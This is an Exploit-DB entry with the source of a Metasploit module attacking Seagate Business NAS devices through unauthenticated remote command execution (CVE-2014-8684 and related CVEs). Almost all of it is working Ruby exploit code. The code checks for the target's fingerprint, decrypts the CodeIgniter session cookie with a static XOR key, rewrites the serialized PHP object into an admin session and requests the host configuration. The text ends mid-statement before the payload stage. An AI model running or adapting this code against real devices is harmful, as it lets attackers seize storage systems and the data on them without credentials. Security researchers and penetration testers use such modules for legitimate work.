Exploit-DB #36264
Description: Seagate Business NAS - Remote Command Execution (Metasploit)
Type: remote
Platform: php
Date: 2015-03-04
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Seagate Business NAS Unauthenticated Remote Command Execution',
      'Description'    => %q{
        Some Seagate Business NAS devices are vulnerable to command execution via a local
        file include vulnerability hidden in the language parameter of the CodeIgniter
        session cookie. The vulnerability manifests in the way the language files are
        included in the code on the login page, and hence is open to attack from users
        without the need for authentication. The cookie can be easily decrypted using a
        known static encryption key and re-encrypted once the PHP object string has been
        modified.
        This module has been tested on the STBN300 device.
      },
      'Author'         => [
          'OJ Reeves <oj[at]beyondbinary.io>' # Discovery and Metasploit module
        ],
      'References'     => [
          ['CVE', '2014-8684'],
          ['CVE', '2014-8686'],
          ['CVE', '2014-8687'],
          ['EDB', '36202'],
          ['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'],
          ['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/']
        ],
      'DisclosureDate' => 'Mar 01 2015',
      'Privileged'     => true,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Payload'        => {'DisableNops' => true},
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0,
      'License'        => MSF_LICENSE
      ))

    register_options([
        OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
        OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']),
        OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']),
        OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07'])
      ])
  end

  #
  # Write a string value to a serialized PHP object without deserializing it first.
  # If the value exists it will be updated.
  #
  def set_string(php_object, name, value)
    prefix = "s:#{name.length}:\"#{name}\";s:"
    if php_object.include?(prefix)
      # the value already exists in the php blob, so update it.
      return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"")
    end

    # the value doesn't exist in the php blob, so create it.
    count = php_object.split(':')[1].to_i + 1
    php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}")
  end

  #
  # Findez ze holez!
  #
  def check
    begin
      res = send_request_cgi(
        'uri'      => normalize_uri(target_uri),
        'method'   => 'GET',
        'headers'  => {
          'Accept' => 'text/html'
        }
      )

      if res && res.code == 200
        headers = res.to_s

        # validate headers
        if headers.include?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
          # and make sure that the body contains the title we'd expect
          if res.body.include?('Login to BlackArmor')
            return Exploit::CheckCode::Appears
          end
        end
      end
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
      # something went wrong, assume safe.
    end

    Exploit::CheckCode::Safe
  end

  #
  # Executez ze sploitz!
  #
  def exploit

    # Step 1 - Establish a session with the target which will give us a PHP object we can
    # work with.
    begin
      print_status("Establishing session with target ...")
      res = send_request_cgi({
        'uri'    => normalize_uri(target_uri),
        'method' => 'GET',
        'headers'  => {
          'Accept' => 'text/html'
        }
      })

      if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/
        cookie_value = $1.strip
      else
        fail_with(Failure::Unreachable, "#{peer} - Unexpected response from server.")
      end
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
      fail_with(Failure::Unreachable, "#{peer} - Unable to establish connection.")
    end

    # Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly
    # then update it so that it's an admin session before re-encrypting
    print_status("Upgrading session to administrator ...")
    php_object = decode_cookie(cookie_value)
    vprint_status("PHP Object: #{php_object}")

    admin_php_object = set_string(php_object, 'is_admin', 'yes')
    admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT'])
    vprint_status("Admin PHP object: #{admin_php_object}")

    admin_cookie_value = encode_cookie(admin_php_object)

    # Step 3 - Extract the current host configuration so that we don't lose it.
    host_config = nil

    # This time value needs to be consistent across calls
    config_time = ::Time.now.to_i

    begin
      print_status("Extracting existing host configuration ...")
      res = send_request_cgi(
        'uri'      => normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'),
        'method'   => 'GET',
        'headers'  => {
          'Accept' => 'text/html'
        },
        'cookie'   => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
        'vars_get' => {
          '_'      => config_time
        }
      )

      if res && res.code == 200
        res.body.split("\r\n